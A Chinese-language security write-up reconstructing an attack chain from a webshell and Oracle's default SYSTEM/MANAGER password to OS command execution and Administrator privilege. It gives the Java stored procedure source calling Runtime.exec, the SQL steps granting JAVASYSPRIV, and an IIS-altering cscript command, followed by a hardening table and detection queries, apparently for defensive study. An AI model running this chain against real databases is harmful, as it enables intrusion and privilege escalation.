⚠️ 本文為安全研究與防禦視角剖析,嚴禁用於非授權滲透測試。
某主機殘留 `upfile.asp` 導致 WebShell,發現 Oracle 服務運行且 `SYSTEM/MANAGER` 預設口令生效。攻擊者利用 Oracle Java Stored Procedure 機制,建立 `RUN_CMD` 函數執行作業系統命令,授予 `JAVASYSPRIV` 後執行 `cscript` 修改 IIS 設定提權至 Administrator。本文完整還原攻擊鏈、程式碼細節、防禦斷點,作為資料庫安全加固參考。
CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "Util" AS
import java.io.*;
public class Util extends Object {
public static int RunThis(String args) {
Runtime rt = Runtime.getRuntime();
int rc = -1;
try {
Process p = rt.exec(args);
BufferedInputStream bis = new BufferedInputStream(p.getInputStream(), 4096);
int len; byte[] buffer = new byte[4096];
while ((len = bis.read(buffer, 0, 4096)) != -1) {
System.out.write(buffer, 0, len);
}
rc = p.waitFor();
} catch (Exception e) {
e.printStackTrace();
rc = -1;
} finally { return rc; }
}
};
CREATE OR REPLACE FUNCTION RUN_CMD(p_cmd IN VARCHAR2) RETURN NUMBER
AS LANGUAGE JAVA NAME 'Util.RunThis(java.lang.String) return int';
CREATE OR REPLACE PROCEDURE RC(p_cmd IN VARCHAR2) AS
x NUMBER;
BEGIN
x := RUN_CMD(p_cmd);
END;
SQL> @1.sql -- 建立 Java Source
SQL> @2.sql -- 建立 RUN_CMD 函數
SQL> @3.sql -- 建立 RC Procedure
SQL> VARIABLE x NUMBER
SQL> SET SERVEROUTPUT ON
SQL> EXEC DBMS_JAVA.SET_OUTPUT(100000)
SQL> GRANT JAVASYSPRIV TO SYSTEM; -- 關鍵:允許 Java 執行 OS 命令
SQL> EXEC :x := RUN_CMD('cscript adsutil.vbs set /W3SVC/InProcessIsapiAPPS "c:\winnt\system32\inetsrv\asp.dll"');
| 階段 | 風險點 | 加固措施 |
|---|---|---|
| Web 應用 | 殘留上傳腳本 `upfile.asp` | 定期掃描 Web 目錄,移除非必要腳本,上傳目錄禁用執行權限 |
| 資料庫帳號 | SYSTEM/MANAGER 預設口令生效 | 安裝後立即修改所有預設帳號密碼,鎖定/過期未使用帳號 (`LOCK EXPIRE`) |
| 網路存取 | 資料庫 Listener 直接暴露於應用伺服器網段 | 防火牆限制僅應用伺服器 IP 存取 1521,啟用 SSL/TLS 加密 |
| Java 權限 | GRANT JAVASYSPRIV TO SYSTEM | 嚴禁授予 `JAVASYSPRIV`/`JAVAUSERPRIV` 給非管理帳號,移除不必要的 Java Stored Procedure |
| OS 命令執行 | `Runtime.exec()` / `DBMS_SCHEDULER` 外部作業 | 設定 `SECURE_OS_PRIVILEGE`、停用 `UTL_FILE`/`DBMS_LOB` 外部存取、啟用 Database Vault |
| 審計 | 無審計記錄 | `AUDIT GRANT JAVASYSPRIV, CREATE JAVA SOURCE, CREATE PROCEDURE BY ACCESS` |
-- 查詢所有 Java Source/Class/Resource
SELECT owner, name, type, status
FROM dba_objects
WHERE object_type LIKE 'JAVA%'
AND status = 'VALID';
-- 查詢擁有 JAVASYSPRIV 的使用者/角色
SELECT grantee FROM dba_sys_privs WHERE privilege = 'JAVASYSPRIV';
-- 查詢可執行 OS 命令的函數/程序 (啟發式)
SELECT owner, object_name, object_type
FROM dba_source
WHERE UPPER(text) LIKE '%RUNTIME.GETRUNTIME().EXEC%'
OR UPPER(text) LIKE '%DBMS_SCHEDULER.CREATE_JOB%EXECUTABLE%';
此案例展示了「預設口令 + Java Stored Procedure + OS 命令執行」經典提權鏈。核心教訓:資料庫預設帳號必須改密/鎖定、最小權限原則嚴禁授予 JAVASYSPRIV、應用與資料庫網路隔離、啟用審計與異常行為檢測。防禦者應定期執行上述檢測腳本,納入基線掃描體系。